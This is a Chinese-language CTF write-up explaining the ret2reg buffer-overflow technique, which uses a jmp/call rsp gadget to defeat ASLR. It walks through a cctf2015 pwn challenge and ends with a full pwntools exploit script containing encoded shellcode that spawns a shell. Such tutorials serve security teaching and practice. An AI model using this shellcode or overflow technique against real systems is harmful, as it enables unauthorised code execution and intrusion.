文章目录
  1. 1. 什么是ret2reg
  2. 2. 利用步骤
  3. 3. 例子

什么是ret2reg

ret2reg攻击绕过地址混淆,即return-to-register,返回到寄存地址执行 的攻击方法。

ret2reg方法核心是:找到寄存器与缓冲区地址的确定性关系,然后从程序中搜索call reg/jmp reg这样的指令;如果两者条件满足,则

  1. 分析和调试汇编,看溢出函返回时哪个寄存值指向溢出缓冲区空间
  2. 然后反编译二进制,查找call reg 或者jmp reg指令,将该指令所在的地址注入到 EIP
  3. 再在reg指向的空间上注入Shellcode

此攻击方法之所以能成功,是因为函数内部实现时,溢出的缓冲区地址通常会加载到某个寄存器上,在后在的运行过程中不会修改。尽管栈空间具有随机性,但该寄存器的值与缓冲区地址的关系是确定的,在随机地址之上,建立了必然的地址关系。一句话就是 在随机性上找到地址的确定性关系。

利用步骤

  1. 对准EIP
    第一步首先是对准EIP,我们输入数据引发溢出,覆盖EIP。
  2. 确定哪个寄存器与缓冲区有确定性的关系
    如果你一步一步地按ret2addr攻击方法操作并攻击成功,那么你会发现此时的esp就是指向注入EIP的下一个地址。如果你能在程序中找到call esp或者jmp esp(64位的为rsp)这样的指令,就可以将EIP注入该指令地址,并且在EIP后面注入shellcode,那就彻底绕过地址混淆保护方法。

例子

这是一道cctf2015的一道题,我们用IDA打开后直接查看伪代码。

从上面的伪代码我们可以看出,我们输入的数据全部拷贝到了V6。接下来我们在gdb下调试这个ELF文件。

查看保护

checksec可以看到程序没有没有打开任何保护措施,现在唯一需要解决的就是系统自带的ASLR,(注意,使用gdb调试时,每次看到的栈地址可能是不变的,这并不代表系统没有打开ASLR,gdb调试时会自动关闭ASLR)
我们首先输入40个测试字符A进行测试,发现没有发生溢出。


接下来我们输入80个A发现出现了溢出。

可以看出从第四十个字节开始的八个字节就会覆盖返回地址
然后我们还需要一个跳板作为返回地址 。使用jmpcall rsp。rsp是栈指针寄存器,64位。指向栈顶。相当于32位汇编里的esp,16位的sp。

我们就采用第一个地址。
最后我们需要一个shellcode,这可以通过msf生成,也可以在exploit.db上下载。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/user/bin/python
from pwn import *
p = process('./cctf2015_pwn1')
p.recvuntil('overflow!')
pad = 'a'*40
jmpAddr='\x7d\x68\x43\x00\x00\x00\x00\x00'
shellcode = ""
shellcode+="\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
shellcode+="\xef\xff\xff\xff\x48\xbb\xab\xb5\xd9\xba\x45\x0a\xfd"
shellcode+="\x44\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
shellcode+="\xc1\x8e\x81\x23\x0d\xb1\xd2\x26\xc2\xdb\xf6\xc9\x2d"
shellcode+="\x0a\xae\x0c\x22\x52\xb1\x97\x26\x0a\xfd\x0c\x22\x53"
shellcode+="\x8b\x52\x4d\x0a\xfd\x44\x84\xd7\xb0\xd4\x6a\x79\x95"
shellcode+="\x44\xfd\xe2\x91\x33\xa3\x05\xf8\x44"
p.sendline(pad + jmpAddr + shellcode)
p.interactive()

成功拿到shell

文章目录
  1. 1. 什么是ret2reg
  2. 2. 利用步骤
  3. 3. 例子